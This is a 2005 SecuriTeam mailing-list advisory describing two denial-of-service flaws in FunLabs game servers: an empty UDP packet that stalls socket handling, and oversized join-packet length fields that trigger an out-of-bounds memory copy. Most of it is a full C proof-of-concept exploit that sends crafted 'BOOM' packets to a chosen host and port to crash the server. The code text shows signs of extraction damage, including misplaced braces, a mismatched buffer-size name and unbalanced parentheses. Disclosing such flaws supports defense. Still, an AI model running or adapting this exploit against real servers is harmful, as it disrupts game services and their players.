

[NT] FunLabs Games Multiple Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0139.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 03/29/05

To: list@securiteam.com

Date: 29 Mar 2005 10:48:34 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

FunLabs Games Multiple Vulnerabilities

SUMMARY

<<http://www.activisionvalue.com>> FunLabs is "a software house that develops low-cost games". FunLabs' games: 4X4 Off-road Adventure III, Cabela's Big Game Hunter, Cabela's Dangerous Hunts, Cabela's Deer Hunt, Revolution, Secret Service – In harm's Way, Shadow Force: Razor Unit, US Most Wanted: Nowhere To Hide and others have been found to contain two security vulnerabilities that would allow a remote attacker to cause the program to crash.

DETAILS

Socket Unreacheable

The engine uses an asynchronous socket through FIONREAD that returns the length of the latest packet received by the socket. If an attacker sends an empty UDP packet the server will be not able to know that a new packet is arrived (because ioctlsocket continues to return zero) and so it can no longer handle new packets.

Access to Unallocated Memory

This partially in-game bug happens when an attacker sets the two 16 bits numbers inside the join packet to maximum values. Doing that forces the server to copy a bigger amount of data from the buffer that has received

Securiteam: [NT] FunLabs Games Multiple Vulnerabilities

the packet to a new one but with an invalid access to the unallocated memory located after the shorter source buffer. That causes the immediate termination of the server.

Exploit:

```
/*
```

by Luigi Auriemma – <http://aluiigi.altervista.org/poc/funlabsboom.zip>

```
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
```

```
#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif
```

```
#define VER "0.1"
#define BUFFSZ 4096
#define TIMEOUT 3
```

```
#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr
*)&peer, sizeof(peer)) \
    < 0) std_err());
#define RECV if(timeout(sd) < 0) { \
    fputs("\n" \
        "Error: socket timeout, no reply received.\n" \
        "Probably the server is offline or\n" \
        "    the match is already started or it is\n" \
        "full\n" \
        "\n", stdout); \
    exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err());
```

```
u_long resolv(char *host);
int timeout(int sock);
```

Securiteam: [NT] FunLabs Games Multiple Vulnerabilities

```
void std_err(void);

int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    int sd,
        len,
        attack;
    u_short port;
    u_char buff[BUFSZ],
        pck1[] = "\x01\x00\x00\x00\x00" "\xff\xff\xff\xff",
        pck2[] = "\x03\x01",
        pck3a[] = "\x03\x02",
        pck3b[] = "\x0c",
        pck3c[] = "\x04\x02\x00\x00\x00"
                "\x00\x00" // size 1
                "\x04" // ???
                "\x00\x00" // size 2
                "\x08" // message code

    "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";

    setbuf(stdout, NULL);

    fputs("\n"
        "FunLabs games multiple Denial of Service "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web: http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 4) {
        printf("\n"
            "Usage: %s <attack> <host> <port>\n"
            "\n"
            "Attacks:\n"
            " 1 = socket unreachabe through an UDP packet of zero
bytes\n"
            " 2 = memcpy() with access to unallocated source memory
(in-game)\n"
            " 3 = in-game strange NULL pointer access (works only versus
some games like\n"
            "  Razor for example)\n"
            "\n", argv[0]);
        exit(1);
    }

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
}
```

Securiteam: [NT] FunLabs Games Multiple Vulnerabilities

```
port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
       inet_ntoa(peer.sin_addr), port);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

fputs("- request informations:\n", stdout);
SEND("\x0a");
RECV;
printf("\n Players: %d/%d\n", buff[5], buff[6]);

attack = atoi(argv[1]) & 3;

fputs("\n- send BOOM packet: ", stdout);
if(attack == 1) {
    SEND("");
    fputc('.', stdout);
} else {
    *(u_short*)(pck1 + 5) = time(NULL);
    if(attack == 2) {
        *(u_short*)(pck3c + 5) = *(u_short*)(pck3c + 8) = 0xffff;
    } else {
        *(u_short*)(pck3c + 5) = sizeof(pck3c) - 8;
        *(u_short*)(pck3c + 8) = sizeof(pck3c) - 11;
    }
}

SEND(pck1);
RECV;
fputc('.', stdout);

SEND(pck2);
RECV;
fputc('.', stdout);

SEND(pck3a);
SEND(pck3b);
SEND(pck3c);
RECV;
fputc('.', stdout);
}

fputs("\n- check server\n", stdout);
SEND("\x0a");
if(timeout(sd) < 0) {
    fputs("\nServer IS vulnerable!!!\n", stdout);
} else {
```

Securiteam: [NT] FunLabs Games Multiple Vulnerabilities

```
fputs("\nServer doesn't seem vulnerable\n", stdout);
}

close(sd);
return(0);
}

int timeout(int sock) {
    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}

#ifdef WIN32
void std_err(void) {
    perror("\nError");
    exit(1);
}
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@autistici.org> Luigi Auriemma.

The original article can be found at:

<<http://aluigi.altervista.org/adv/funlabsboom-adv.txt>>
<http://aluigi.altervista.org/adv/funlabsboom-adv.txt>

Securiteam: [NT] FunLabs Games Multiple Vulnerabilities

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.